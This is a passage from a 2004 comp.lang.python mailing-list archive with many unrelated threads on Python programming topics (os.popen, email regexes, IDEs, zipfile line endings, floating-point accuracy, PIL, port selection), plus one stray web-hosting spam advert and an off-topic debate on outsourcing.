in os.popen References: Message-ID: Nick Craig-Wood writes: > Michael Hoffman wrote: > > Nick Craig-Wood wrote: > > > > > As I pointed out in my post there isn't an equivalent for > > > os.popen* which doesn't go via the shell (except for undocumented > > > os.popen2). > > > > Is it the undocumented nature of it that is unnerving you? > > Yes! If it was documented then it would have to be made to work on > Windows too I gues. I think this might be part of the reason it's underdocumented. I also have a sneaking suspicion it's impossible on windows, but don't really know... Cheers, mwh -- > Why are we talking about bricks and concrete in a lisp newsgroup? After long experiment it was found preferable to talking about why Lisp is slower than C++... -- Duane Rettig & Tim Bradshaw, comp.lang.lisp From narshe at gmail.com Tue Sep 21 11:29:41 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 10:29:41 -0500 Subject: OT: regex to find email In-Reply-To: References: Message-ID: <4a0cafe2040921082996cccfb@mail.gmail.com> On Tue, 21 Sep 2004 11:16:45 -0400, Peter Hansen wrote: > > > Josh Close wrote: > > I've been trying to find a good regex to parse emails, but haven't > > found any to my liking. I basically need to have > > > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > > > but the first part can't start with .-_ and the last part has to have > > a . in it (first/last being before/after the @). > > Use this instead: > > from email.Utils import parseaddr The docs say this. parseaddr(address) Parse address - which should be the value of some address-containing field such as To: or Cc: - into its constituent realname and email address parts. Returns a tuple of that information, unless the parse fails, in which case a 2-tuple of ('', '') is returned. I need to find all address in a message, not just in the headers. It looks like for all these methods you have to specify To: From: CC: etc (i guess that wouldn't necessarily be headers then). If I missed something there, let me know, 'cause this would be a lot easier. -Josh From johng2001 at rediffmail.com Mon Sep 20 23:20:30 2004 From: johng2001 at rediffmail.com (John) Date: 20 Sep 2004 20:20:30 -0700 Subject: python is going to die! =( References: Message-ID: I will assume you are not trolling since you did some work collecting info and posted back. I do share some of your concerns that Python does not have robust IDEs like Visual Studio, Borland IDEs, Eclipse etc etc. I am myself an IDE nut who think often IDEs and good frameworks are as important as languages (How else could a lousy language like VB succeed) and lament that my favorite language does not have them. I am not one of the types who thinks Linux makes a good desktop(yet) for *me* and Emacs and Vim are IDEs. But that is just me. I use WinXP and SciTE with Python. Deploy to Linux and Solaris without any changes. When I need a debugger/class browser, I use the free PythonWin. Komodo is gorgeous and WingIDE has some useful features. But I have been too cheap to shell for these and stuck to SciTE and PythonWin. As much as I like IDEs, writing code in SciTE just works fine for me. I never equated text editors to IDEs but SciTE just grows on you and there is no learning curve. I love C#. Once I moved some Python code to C# and the transition was almost transparent. C# with Visual Studio is easily the most enjoyable statically typed language that I have come across. But I still use Python over C# since Python is a dynamic language and I end up coding faster. I would code even faster if I had an IDE like Visual Studio but that's the way things are now. I don't think C# is ever going to kill Python. They are used in different situations. If I want WYSIWYG dialog design I use C#/Delphi. If I want a complete RAD web framework, I use ASP.NET with C#. But Python does everything else in between for me. Most of the code I write no longer involves dialogs or web pages. When I do need it, I plug in Python code as COM or embed an interpreter in my Delphi App. Bottom line is if you expect one language, tool or IDE to solve all your problems you will not find it. > Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects > and C# is much younger than python, not to mention mono is new!! 2 times Not enough people using Python? Too bad for them. That's my advantage. Enough *contributing* people are involved with Python. > -- C # is easy to use,fast apps coding (as python) but!! it has all the > advantages of a compiled language , like less bugs concerning silly types > mistakes , ides and tools can take much much more advantage of static If you feel static typing makes you more productive for your problems, you are using the wrong language. Stick to C#. From mlh at furu.idi.ntnu.no Fri Sep 24 15:04:45 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 24 Sep 2004 19:04:45 +0000 (UTC) Subject: new python book!! References: <41506aca@usenet01.boi.hp.com> Message-ID: In article <41506aca at usenet01.boi.hp.com>, djw wrote: [snip] >"To guide readers through the new scripting language, Python, this book >discusses every aspect of client and server programming." > >New? Since when is Python new? (well, maybe 10 years ago or so). I guess this is more a marketing thing than a content thing. The author knows what he's talking about. (I tech-edited the book, and I think it's solid and thorough.) -- Magnus Lie Hetland Fallen flower I see / Returning to its branch http://hetland.org Ah! a butterfly. [Arakida Moritake] From dropthis_fanmail at micah-wedemeyer.net Mon Sep 20 18:36:36 2004 From: dropthis_fanmail at micah-wedemeyer.net (Micah) Date: Mon, 20 Sep 2004 18:36:36 -0400 Subject: parameter passing question References: Message-ID: Use the variable-arg techniques described in: http://docs.python.org/ref/function.html def foo(*args): # Do something with arg[0], arg[1], ... def main(): f = foo args = ["hello", "world"] f(*args) ------ Is there a way to do it if I am not the one to define f? In other words, if I cannot declare f to be a variable-argument function, is there a way to do it? I'm trying to write a function F that takes a function f and a list of arguments args for f. I leave it up to the caller of F that they pass the correct number of arguments. Thanks for the speedy reply, Micah From ville at spammers.com Tue Sep 28 16:27:55 2004 From: ville at spammers.com (Ville Vainio) Date: 28 Sep 2004 23:27:55 +0300 Subject: re-entering in the normal flow after an exception is raised References: <4edc17eb.0409280817.27ef4f43@posting.google.com> <1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com> Message-ID: >>>>> "Alex" == Alex Martelli writes: Alex> Michele Simionato wrote: >> I think I want "re-entrant exceptions" (not sure if this is the >> Is there some elegant or hackish way to get this? Alex> I think not. You may read in Stroustrup's book about C++'s Alex> design and evolution how he was convinced to abandon Alex> resumable exceptions by experiences in another language, Alex> where they just didn't pay for their huge complexity -- they Alex> seem a good idea, but don't prove to be... In Python they would probably be much less complex - exceptions are a big overhead in C++ already, resumable ones would be even more so. In python the implementation probably wouldn't be that complex and the overhead that large. Also, I can't help but think of the recently posted PEP 334 (Simple Coroutines via SuspendIteration) at http://www.python.org/peps/pep-0334.html I probably wouldn't use resumable exceptions for normal situations where exceptions are used, but some nice control flow hacks could be made possible. -- Ville Vainio http://tinyurl.com/2prnb From anna at aleax.it Mon Sep 27 03:29:43 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Mon, 27 Sep 2004 07:29:43 GMT Subject: Whose is smaller In-Reply-To: <9d2k22-tj1.ln1@lairds.us> References: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> <9d2k22-tj1.ln1@lairds.us> Message-ID: Cameron Laird wrote: > In article , > Richard Hanson wrote: > >>[Connection working again...?] >> >>Alex Martelli wrote: >> >> >>>Richard Hanson wrote: >>> ... >>> >>>>(Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it >>>>very much!) > > . > . > . > >>Ahem. As I said ;-) in my reply to your post mentioning Anna's P2000 >>(in my MID: ), and in >>earlier postings re 2.4x installation difficulties, mine is a Fujitsu >>LifeBook P1120. (Sorry, Alex! I definitely *should* have mentioned the >>model again -- I'm just beginning to appreciate the difficulty of even >>*partially* keeping up with c.l.py. I'm learning, though. :-) ) >> >>In any event, the Fujitsu LifeBook P1120 has a 8.9" wide-format >>screen, is 2.2lbs.-light with the smaller *very* long-lasting battery >>and 2.5lbs.-light with the very, *very* long-lasting battery, and has >>-- what tipped the scales, as it were, for my needs -- a touchscreen >>and stylus. > > . > . > . > >>I can feel your pain. I would switch to Apple in a second if they had >>such light models (and if I had the bucks ;-) ). I need a very light >>machine for reasons specified earlier. (Okay, slightly reluctantly: >>Explicit may be better even with *this* particular info -- I have >>arthritis [ankylosing spondylitis] and need very light laptops to read >>and write with. :-) ) >> >> >>>OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my >>>iBook, even though only Apple uses it within the OS itself;-) >> >>ObC.l.pyFollow-up: Python also runs very well on my tinier ;-) P1120 >>with the Transmeta Crusoe TM5800 processor running at 800MHz and with >>256MB RAM and a 256KB L2 on-chip cache -- even using Win2k. :-) It's >>really nice not needing a fan on a laptop, as well -- even when >>calculating Decimal's sqrt() to thousands of decimal places. ;-) > > . > . > . > Is Linux practical on these boxes? How do touch-typists like them Well, mine is dual boot. I'm currently experimenting with Ubuntu on my Linux partition... I'm really REALLY hoping for a linux kernel with a decent 'sleep' function to come up RSN because I despise having to work in Windoze XP instead of Linux. Ah well, at least the XP hasn't been too terrible to work on - it runs surprisingly smoothly, particularly with Firefox and Thunderbird for browsing and email... And I can touch type just fine - except for the damn capslock key (there is NO purpose whatsoever for a capslock key as a standalone key on a modern keyboard, imho). I've had only minor problems with the touch typing that I do - and that, only due to the slightly different layout of the SHIFT key on the right side compared to where I'd normally expect to find it: keyboard layout is a common bugbear on laptops though, regardless of size.... Anna From ed at leafe.com Thu Sep 23 17:03:44 2004 From: ed at leafe.com (Ed Leafe) Date: Thu, 23 Sep 2004 17:03:44 -0400 Subject: up with PyGUI! In-Reply-To: <2rfnp6F19gkpkU1@uni-berlin.de> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> Message-ID: <0DEBBF02-0DA4-11D9-8C15-003065B11E84@leafe.com> On Sep 23, 2004, at 6:44 AM, anton muhin wrote: > I beg your pardon for possibly stupid comment---I haven't practice GUI > programming for a long time, especially in Python. However I mostly > prefer declarative approach for the problems like that. Therefore, > wouldn't it be interesting to describe the structure with class and > metaclass mechanism, like: > > class MainFrame(FrameDescription): > > class b1(ButtonDescription): > size = (40, 40) > text = "b1" > > etc. That's the approach we've take with Dabo (albeit with slightly different names). In fact, you could even avoid setting the size with a tuple by typing: class b1(dabo.ui.dButton): Height = 60 Width = 40 Caption = "Click Me" ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From mike at spindler.us Thu Sep 23 12:02:43 2004 From: mike at spindler.us (mikeSpindler) Date: 23 Sep 2004 09:02:43 -0700 Subject: struct.unpack() and bit operations Message-ID: THANKS FOR THE HELP ON MY LAST INQUIRY! AWESOME ANSWERS. I am reading in from a binary file data that is formatted as 32 * 16-bit words. So when I read it in I'm apparently not getting or addressing correctly the upper 16-bits (since I have no choice but read 32-bit elements - right?). Is there an easier way to either get 16-bit "unpacks" or grab the upper 16-bits with success? Here's what I'm trying: mask0 = 1111111100000000 mask1 = 0000000011111111 pdr32 = struct.unpack('%si' % (itemsize/4), pdrData.read(itemsize)) while i < 32 pdr16[x] = (pdr32[y] & (mask0 / (2**8))) pdr16[x+1] = (pdr32[y] & mask1) x += 2 y += 1 pdrData.seek(32,1) Thank you! Mike Spindler From peter at engcorp.com Sun Sep 12 18:01:53 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 18:01:53 -0400 Subject: 'telegraphy' as a means of data entry In-Reply-To: References: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Message-ID: Fredrik Lundh wrote: > "Peter Hansen wrote: >>>also note that unlike Peter's example, the time attribute contains >>>the time when the event was generated, not when it reached your >>>program. >> >>My example didn't show the time at all. > > and you probably didn't write > > "you would be able to use time.time() or time.clock() to record > the times of the keypresses" > > either. must be a bug in my newsreader; sorry for that. Of course I wrote that, obviously. What I didn't do was include that code in my example... you know, the code. At least, I don't see that in any of my code, but perhaps it's a bug in _my_ newsreader. The reference to using the time module actually comes from the OP, and I was merely agreeing that it could be possible to use that module for the purpose intended (presumably what is best depends on requirements we don't yet know about). I point that out merely because one might infer from your reply that Tkinter was capable of something that wxPython was not in this case, which wouldn't be true. -Peter From ialbert at mailblocks.com Fri Sep 17 10:25:51 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 17 Sep 2004 10:25:51 -0400 Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: Thomas Guettler wrote: > what does webstart do? nothing useful, and that's why there is no such beast for python. Istvan. From adalke at mindspring.com Mon Sep 13 22:21:43 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 14 Sep 2004 02:21:43 GMT Subject: check for unused ports and then grab one In-Reply-To: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> Message-ID: Peter Hansen wrote: > I'm curious what you are trying to do though. Normally a server > has to listen on a predefined port or the clients won't be able > to connect, and a client doesn't need to specify which port it > will bind to as the OS will pick a free one automatically. I've > never had to do what you are trying to do, thus my curiosity... I needed something like this once. I wanted to write an interface to an external program. It didn't take stdin/stdout/files for input. Instead, it acted as a server and I needed to make a network connection to it. It took a port number on the command line so I first scanned a range to ensure a port was available then passed that port number to the exec'd client. Yes, there's a race condition, but at most I expected two or three processes running on the system, all from friendly users. AFAICT there never was a problem. Since then the vendor changed the code to support connections via stdin/stdout. Andrew dalke at dalkescientific.com P.S. And the port 0 trick is new to me too. From jerf at jerf.org Sat Sep 18 13:29:52 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sat, 18 Sep 2004 17:29:52 GMT Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: On Sat, 18 Sep 2004 11:10:16 +0200, Peter Otten wrote: > Seems you are the only voter, so '|' will be it. I'm going to vote for "?". According to http://www.asinah.net/cgi-bin/chinese/wordlook.cgi (look up "decorate" as "English - results in [either]", second result), it means "/to decorate/to embellish/to repair/to build/to study/to write/to cultivate/", which I think may actually cover 90%+ of the use cases in one word. The char in the quotes, which I bet most of you can't see, is "xiu1", the first ideogram in the image at http://chineseculture.about.com/library/symbol/np/nc_abbacy.htm . This char is Unicode point 0x70cb. Of course there are no technical issues with adding a Chinese ideogram into the core language. None whatsoever. Who could even think such a thing? We're all multicultural out the yin-yang and all our python files are always in UTF-8, all the time. (Who even needs the other Unicode encodings? Nobody, that's who.) It's the best choice. It's the ONLY choice. Choose "?". From jdhunter at ace.bsd.uchicago.edu Tue Sep 14 07:05:29 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Tue, 14 Sep 2004 06:05:29 -0500 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: <414682eb$0$301$edfadb0f@dread12.news.tele.dk> (Max M's message of "Tue, 14 Sep 2004 07:36:02 +0200") References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> <414682eb$0$301$edfadb0f@dread12.news.tele.dk> Message-ID: >>>>> "Max" == Max M writes: Max> The problem is that you have to calculate the rectangles Max> corner positions yourself. Which make it a bit less trivial Max> than drawing lines. Max> If you want a fat line from ((0,0),(10,10)) you would need to Max> calculate where the corners should be yourself. In matplotlib, you can draw antialiased lines with any color, style, and width you want. And we'll do the calculations for you (TM) # plot a green line, 4 points thick plot(x, y, 'g', linewidth=4) http://matplotlib.sf.net And it comes with a windows installer for "lowly windows developers".... Requires numeric or numarray. JDH From steven.bethard at gmail.com Thu Sep 2 11:48:19 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 2 Sep 2004 15:48:19 +0000 (UTC) Subject: Are decorators really that different from metaclasses... References: <20040902024221.GA3626@unpythonic.net> <20040902134641.GE24397@unpythonic.net> Message-ID: Jeff Epler unpythonic.net> writes: > On the other hand, looking at examples where the names have no meaning > seems relevant to me, because it shows just how much complication you've > added, and how much currently legal code would have its meaning changed > under your proposal. Not to defend Paul's proposal, which I, like many others on this list, still find counterintuitive and a break with the current syntax/semantics of Python, but I don't think it's fair to say that his proposal will change much currently legal code. Grep the Python source for functions with __*__ local variable assignments and tell me how many you find. I wasn't able to find any, though perhaps my skills with grep are not up to par... For that matter, grep any Python source for functions like this. I'd bet you find the same. Certainly, Paul's proposal would change what code is legal, but I don't think it would actually make much current Python code illegal -- no one codes like this! Which is probably why it seems so counterintuitive to me... Steve From bokr at oz.net Mon Sep 20 01:15:55 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 05:15:55 GMT Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> Message-ID: On Sat, 18 Sep 2004 16:23:40 -0600, "Stuart McGraw" wrote: >I just spent a $*#@!*&^&% hour registering at ^$#@#%^ >Sourceforce and trying to submit a Python bug report >but it still won't let me. I give up. Maybe someone who >cares will see this post, or maybe it will save time for >someone else who runs into this problem... > >================================================ > >Environment: >- Microsoft Windows 2000 Pro >- Python 2.3.4 >- urllib (version shipped with Python-2.3.4) > >Problem: > urllib returns corrupted data when reading an EUC-JP encoded > web page, from a python script run from a MS Windows .BAT >file, but not when the same script is run from the command line. Just a thought: in case your command line is being interpreted by cmd.exe and .bat by something else (command.com?) you could check if it makes a difference, e.g., copy test.bat test.cmd and try it again? (explicitly as test.cmd, not just test, since any same-name .com or .exe or .bat may have priority over .cmd) You can probably investigate the latter by something like [21:54] C:\pywk\junk>echo %pathext% .COM;.EXE;.BAT;.CMD Regards, Bengt Richter From nkyavqfw at mjwaupfu.com Fri Sep 24 02:53:28 2004 From: nkyavqfw at mjwaupfu.com (AvengngAngel) Date: Fri, 24 Sep 2004 06:53:28 GMT Subject: TerraByteHosting, The leader in Web & Ftp Site Hosting...... Message-ID: Want to be seen, want to have your own lil niche out on the net. Ever wanted a website, or an ftpsite. We can help, we are the leader in web site hosting and ftp hosting. We have cant be beat prices. We have package deals, or custom made to taylor you, from as little space as you need to as much as you need. We host all different kinds of sites, Adult, porno, eCommerce sites, movie sites, We have been in business since 1986, and still have most of those customers today. Visit us at our newly redesigned site, Look at this months specials, hurry they are goin fast. We have the fastest speeds around, give us a test you'll be pleased, We serve you with Quality Servers and connections..... http://www.terrabytehosting.com ......., or contact your sales rep at this email listed, for USA sales avengngangel at netscape.net or Canadian sales lochlan2010 at msn.com all others kaylasbud at yahoo.com From reply.in.the.newsgroup at my.address.is.invalid Sun Sep 19 18:58:46 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Mon, 20 Sep 2004 00:58:46 +0200 Subject: python is going to die! =( References: Message-ID: Abe Mathews: >the fact that there isn't a good IDE available I use WingIDE, and I don't know what I'm missing. It just works for the occasional debugging, and what else is there? -- Ren? Pijlman From frithiof.jensen at die_spammer_die.ericsson.com Wed Sep 29 06:53:07 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Wed, 29 Sep 2004 12:53:07 +0200 Subject: using threads with for-loops References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: "Peter Hansen" wrote in message news:KvCdnUvBCJ5wX8TcRVn-pg at powergate.ca... > > The code above is perfectly suited for parallelization. > > Yes, it is. Once you take into account implementation > issues (e.g. the GIL), would you still think so? Orrr .... you could cheat and use f.ex. PYRO to disguise a set of *Python Applications* as Threads; The Applications could then be distributed however which way you want ;-) From mauriceling at acm.org Thu Sep 2 23:38:37 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 03 Sep 2004 03:38:37 GMT Subject: compiling to python byte codes In-Reply-To: References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> Message-ID: <4137e739$1@news.unimelb.edu.au> Jeremy Bowers wrote: > > Hmmm, could you post an example of this assembly-like code? It might be > easiest to implement a Python interpreter directly; if the assembly-like > code is simple enough it isn't even worth a true parser. What do you mean by implementing a Python interpreter directly? Sorry, I am unable to provide an example of this assembly-like code. This is currently still unpublished work, so I'm not able to disclose much, especially in a public forum. > Without knowing about your code, I can't be sure, but I would be surprised > if MA is similar enough to Python to make it worth running MA on the > Python machine directly. Do you think that there is very slight chance that it is worthwhile converting MA directly to python bytecodes? This is how I read it. Please tell me if I've misunderstood you. > > Assembly language is right up there with LISP (without macros) in terms of > ease of parsing, if no opcode ever crosses multiple lines. Some parts of MA is still undergoing development and cleaning up but I certainly do not see why any opcode should cross multiple lines. As far as I can see, 70% of the opcodes are able to be represented by multiple lines of python codes. I've not thought hard enough on this yet. All I can say is that MA looks similar to any assembly is structure, with directives. Sorry that I am not able to disclose much, but hope to get some opinions based on what I can say. Thank you, Maurice From agriff at tin.it Mon Sep 20 01:56:08 2004 From: agriff at tin.it (Andrea Griffini) Date: Mon, 20 Sep 2004 05:56:08 GMT Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: <3krsk0h4m2d882t3b87k06l53drfke6a2n@4ax.com> On 19 Sep 2004 15:24:31 -0700, danb_83 at yahoo.com (Dan Bishop) wrote: >Also, the >IEEE 754 double-precision representation of pi is equal to the >rational number 4503599627370496/281474976710656. I know the real uses of a precise pi are not that many... but isn't that a quite raw approximation ? that fraction equals 16... >Base 10 _is_ more accurate for monetary amounts, and for this reason I >agreed with the addition of a decimal class. But it would be a >mistake to use decimal arithmetic, which has a performance >disadvantage with no accuracy advantage, in the general case. For monetary computation why not using fixed point instead (i.e. integers representing the number of thousands of cents, for example) ? IMO using floating point instead of something like arbitrary precision integers is looking for trouble in that area as often what is required is accuracy up to a specified fraction of the unit. Andrea PS: From a study seems that 75.7% of people tends to believe more in messages that contain precise numbers (like 75.7%). From bingham at cenix-bioscience.com Tue Sep 7 12:05:16 2004 From: bingham at cenix-bioscience.com (Aaron Bingham) Date: Tue, 07 Sep 2004 18:05:16 +0200 Subject: Question: tools for business apps development In-Reply-To: <1gjqrxz.1vy5u911p18wq3N%aleaxit@yahoo.com> References: <4139C317.2010306@cs.com> <413CEC6F.505@cs.com> <1gjqrxz.1vy5u911p18wq3N%aleaxit@yahoo.com> Message-ID: <413DDC3C.30005@cenix-bioscience.com> Alex Martelli wrote: >Robert M. Emmons wrote: > > >>There is a book about this titled "Rapid Application Development with >>Mozilla" that talks all about this. It is available free on the net >>(sorry can't remember the URL, or in print from the bookstore). I don't >>know if this discusses python or not, but it certain discusses XUL and >>JavaScript. >> >> > >I googled. found and downloaded the book, and had a quick check -- alas, >the "discussion" of Python in the book is limited to: >""" >Embedded programmers can use languages such as Perl and Python to drive >all the windows that an application based on the Mozilla Platform >creates. Such uses are not documented here. >""" > >While it definitely looks like a worthwhile book on XUL, anybody wanting >to drive XUL from anything except Java or Javascript should, I guess, >look elsewhere (perhaps in _addition_ to said book). I suspect the >easiest way to drive XUL from Python based on this book might be to use >Jython and XUL's Java interfaces (I haven't checked in detail, but >offhand it looks like the book does document XUL's Java interfaces). > > If you just want a native Mozilla app with Python as the main development language, you are better off using Mark Hammond's PyXPCOM. This allows you to call and write XPCOM components in (C)Python. Since Mozilla exposes all interesting functionality as XPCOM components, you can do anything this way. PyXPCOM is part of the main Mozilla distribution, though it is not built by default. -- -------------------------------------------------------------------- Aaron Bingham Application Developer Cenix BioScience GmbH -------------------------------------------------------------------- From peter at engcorp.com Thu Sep 2 11:10:33 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 11:10:33 -0400 Subject: namespace question In-Reply-To: References: Message-ID: Elaine Jackson wrote: > I would like to be able to write a function f, which will live in a module M, > and will call a function g, such that, when f is imported from M into the > interpreter, and invoked there, its invokation of g will return the > interpreter's global namespace. What does that last part mean? There is no such thing as the "interpreter's global namespace". Each module is its own namespace. -Peter From luismg at gmx.net Mon Sep 20 15:31:58 2004 From: luismg at gmx.net (Neuruss) Date: 20 Sep 2004 12:31:58 -0700 Subject: python is going to die! =( References: Message-ID: <278de0e.0409201131.57baf7f9@posting.google.com> Julio, are you aware of projects such as Ironpython? Soon you'll be able to use python from within Visual Studio or, better yet, SharDevelop or MonoDevelop. So you'll have an excellent IDE and an excellent language. Just wait and see... Regarding your rant, I'm not very impressed by your language nor your manners but I understand your point. Perhaps you didn't know that there are IDE's for Python already. You can use Boa Constructor or, for a simplest and easiest alternative, PythonCard (both are free and cross-platform). For a commercial alternative, you have BlackAdder, and I'm sure there are others, although I haven't tried them. From fredrik at pythonware.com Sun Sep 19 05:00:07 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 11:00:07 +0200 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> Message-ID: "huy" wrote: > Well not really. I don't mind doing one installation of a (Python/Java) webstart. However, it's > the automatic update of the actual application software which I find most useful. As long as you don't insist on upgrading Python itself all the time, that's pretty easy. Here's how I usually do it: 1) Wrap the Python parts of your application in one or more ZIP archives. 2) Add a thin wrapper that can check for new versions of the ZIP archives (and optionally install them) before starting the rest of the application: if check_for_updates(): install_updates() fix_path() import my_application 3) Create a "platform" release that contains a python build, the extensions you need, and a "baseline" version of your application. Use your favourite tool for this purpose (eg. py2exe). 4) Let your users install the platform release. 5) When you prepare new versions, build new ZIP import packages and put them where the wrapper can find them. The wrapper can also install new versions of required extensions, offer access to earlier versions of the application, etc. I use a variation of this technique for the effbot.exe platform: http://effbot.org/zone/effnews-exe.htm Here, the core installer simply installs Python (2.1, in this case) plus some extensions, and a default application. Updates and additional applications are shipped as "effbot" files, which are basically zipped-up PYC archives. Works like a charm. From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sat Sep 25 21:52:15 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sun, 26 Sep 2004 02:52:15 +0100 Subject: file read, binary or text mode In-Reply-To: <10lc6dseqo1185e@corp.supernews.com> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> <10lc6dseqo1185e@corp.supernews.com> Message-ID: Alan G Isaac wrote: > "Roel Schroeven" wrote in message > news:OjW4d.255917$OR1.13371520 at phobos.telenet-ops.be... > >>It's safe in the sense that everything goes out exactly as it came in. >>For example, gzip uses binary mode even when compressing text files. The >>files may be text, but gzip doesn't care about that. It doesn't care >>about words, sentences and line endings, but it does care about >>representing exactly the bytes that are in the file. > > I think the following is the same question from another angle. I think you should consider the same answer from this angle. ;) > I have an .zip archive of compressed files that > I want to decompress. Using the zipfile module, > I tried > z=zipfile.ZipFile(local.zip) > for zname in z.namelist(): > localtxtfile='c:/puthere/'+zname > f=open(localtxtfile,'w') > f.write(z.read(zname)) > f.close > > The original files were all plain text, > created on an unspecified platform. Are you sure the platform is unspecified? You can find out the platform by doing zipfile.getinfo(zname).create_system and then *yuck* looking up the ID number you get against the list in . > The files I decompressed this way contained > *two successive* carriage returns > (ASCII 13) at the end of each line. > If I change 'w' to 'wb' I get only one > carriage return at the end of each line. > > Why is this extra carriage return added? I imagine the file in the archive was created on a DOS-type system, where the line ending is \r\n. That's what you read in. When you write it out in "w" mode the \n is expanded to \r\n without checking to see if there is already a \r beforehand. So you get \r\r\n. Essentially you should consider the archive file to be read in "rb" mode. Writing in "w" mode instead of "wb" mode will give you extra carriage returns. If you want to be able to get "universal newline" input from your zipfile, consider piping input through this generator and using "w" mode: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/286165 Then you should get the correct line ending for a text file without regard to the current platform or the one where the archive was created. -- Michael Hoffman From aleaxit at yahoo.com Tue Sep 21 08:06:19 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 14:06:19 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: <1gkgqln.1pmrhgxx05wk7N%aleaxit@yahoo.com> Terry Reedy wrote: ... > "Cliff Wells" wrote in message > news:1095378815.31957.166.camel at devilbox.devilnet.internal... Didn't get this one, so I'm answering both here... > > The main problem a lot of people (myself included) have with the so- > > called "global economy" > > To me, the global information economy is as real as the global Python > community. Indeed, they strongly intersect. I couldn't afford to go from Italy to OSCON if I didn't get half of my expenses covered by a Swedish client, and I took advantage of the trip to consult for a US client, interact with US publishers who sell my books all over the world, make friends with a Briton who works for a US multinational (currently enmeshed in a bitter fight with a British music company whose name they stole;-) who also make the laptop I use, and the music player my son just bought to listen to his favourite groups from all over the world... oh, and on my way to OSCON I married a US citizen in Minneapolis -- we had half our honeymoon at OSCON, the second half in the Italian Alps. We had announced our forthcoming marriage at Europython, in Sweden, right after a keynote speech by a South African who showed many photos from his space trip, which he had taken on a Russian spacecraft... > > is that it mostly benefits the US employer who > > can pay wages that are far below cost of living inside the US. > > To the extent that all US employers producing similar products have equal > access to such cost savings, the long-term competitive benefit should tend > toward zero and most benefit should go to consumers and non-US workers. It > was Indian software entrepreneurs who pursued US businesspeople more than > the reverse. Any voluntary economic transaction benefits both parties to it (in their own opinion), otherwise they wouldn't take part in it. Of course their opinions may be mistaken, but there's no reason to believe that somebody else knows better than they do, thus, no case for coercion, in general. > > I'm certain there are few people who begrudge others getting work, > > I did not try to quantify in my original statement. However, it takes more > than a few people to get myriads of job protection laws passed in countries > around the globe. Dislike of competition for 'my job' is pretty universal. Yep, pretty much. Or "my customers" and "my suppliers", for that matter; deep down, any maker of (say) cloth would love all the wool producers to be forced to sell to him, all the clothing makers to be forced to buy the cloth from him. Though in the long run we'd all be better off with freedom for all, the temptation to lobby for an even better deal for myself -- freedom for all _except_ those who buy from me, sell to me, employ me, are employed by me, ..., all of whom should obviously be constrained to do what _I_ want, not what _they_ like -- is always present. > [snip] > > > let's ...have laws that require employers to pay prevailing wage > > The prototype 'prevailing wage' law in the US, the 1930s Davis-Bacon Act, > was passed and signed by begruding people. It had the explicit purpose > (and effect) of excluding dark-skinned Americans from participating in the > American construction industry, especially in northern states, by making it > unprofitable to hire them. Its negative effects continue today. Very good point. > > (based on the *employer's* country of origin). Heh heh, how funny. Yeah, let's hamstring IBM, Texas Instruments, think3, Motorola, and all other companies of US or Europe origin, by forbidding them to employ Indian programmers, salespeople, etc, etc, directly, at normal Indian rates of pay; let's force them all to pay _Wipro_ (or whoever) instead -- Wipro is of Indian origin, so it would be 